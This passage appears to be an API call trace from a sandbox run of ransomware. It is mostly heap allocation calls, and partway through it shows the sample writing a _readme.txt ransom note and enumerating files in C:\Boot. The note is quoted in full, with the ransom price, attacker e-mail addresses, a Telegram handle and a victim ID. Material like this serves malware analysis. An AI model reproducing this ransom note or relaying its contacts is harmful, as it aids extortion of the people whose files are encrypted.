hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.713] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.713] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.713] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.713] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.713] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.713] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.713] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.713] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.713] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.713] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.713] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.713] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.713] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.713] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.713] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.713] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.713] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.713] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.713] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.714] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.714] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.714] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.714] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.714] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.714] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307fdd8 [0119.714] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.714] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.714] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.714] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307fdd8 [0119.714] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.714] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.714] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.714] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.714] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.714] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.714] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.714] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.714] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.714] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.714] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.714] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.714] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.714] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.714] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.714] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.714] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.714] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.714] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.714] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.714] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.714] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.714] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.715] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.715] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.715] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.715] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.715] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.715] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.715] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.715] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.715] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.715] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.715] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.715] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.715] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.715] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.715] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.715] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.715] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.715] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.715] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.715] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.715] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.715] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.715] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.715] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.715] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.715] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.715] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.715] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.715] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.715] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.715] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.715] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.715] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.716] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.716] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.716] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.716] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.716] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.716] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.716] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.716] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307fdd8 [0119.716] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.716] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.716] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.716] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307fdd8 [0119.716] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.716] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.716] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.716] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.716] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.716] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.716] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.716] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.716] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.716] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.716] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.716] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.716] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.716] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.716] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.716] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.716] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.716] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.716] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.716] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.716] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.716] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.717] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.717] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.717] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.717] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.717] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.717] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.717] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.717] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.717] PathFindFileNameW (pszPath="C:\\Boot\\zh-CN\\") returned="zh-CN\\" [0119.717] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0119.717] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.717] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.717] PathFindFileNameW (pszPath="") returned="" [0119.717] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x754f0000 [0119.717] GetProcAddress (hModule=0x754f0000, lpProcName="SHGetFolderPathW") returned 0x75575708 [0119.717] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3092b80 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0119.717] FreeLibrary (hLibModule=0x754f0000) returned 1 [0119.717] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.718] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.718] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.718] PathAppendW (in: pszPath="C:\\Boot\\zh-CN\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\zh-CN\\_readme.txt") returned 1 [0119.718] PathFileExistsW (pszPath="C:\\Boot\\zh-CN\\_readme.txt") returned 0 [0119.718] lstrcpyW (in: lpString1=0x3095780, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf" [0119.718] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf", lpString2="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudfplhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudfplhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M" [0119.718] CreateFileW (lpFileName="C:\\Boot\\zh-CN\\_readme.txt" (normalized: "c:\\boot\\zh-cn\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0119.718] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3080660 | out: hHeap=0x5e0000) returned 1 [0119.718] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3095780 | out: hHeap=0x5e0000) returned 1 [0119.718] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.718] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-CN\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0119.718] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.719] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.719] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0119.719] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0119.719] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0119.719] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.719] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30229c0 | out: hHeap=0x5e0000) returned 1 [0119.719] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.719] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.719] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.719] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.719] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.719] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.719] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.719] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.719] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.719] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.719] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.719] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.719] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.719] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.719] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.719] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.719] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.719] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.719] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.719] 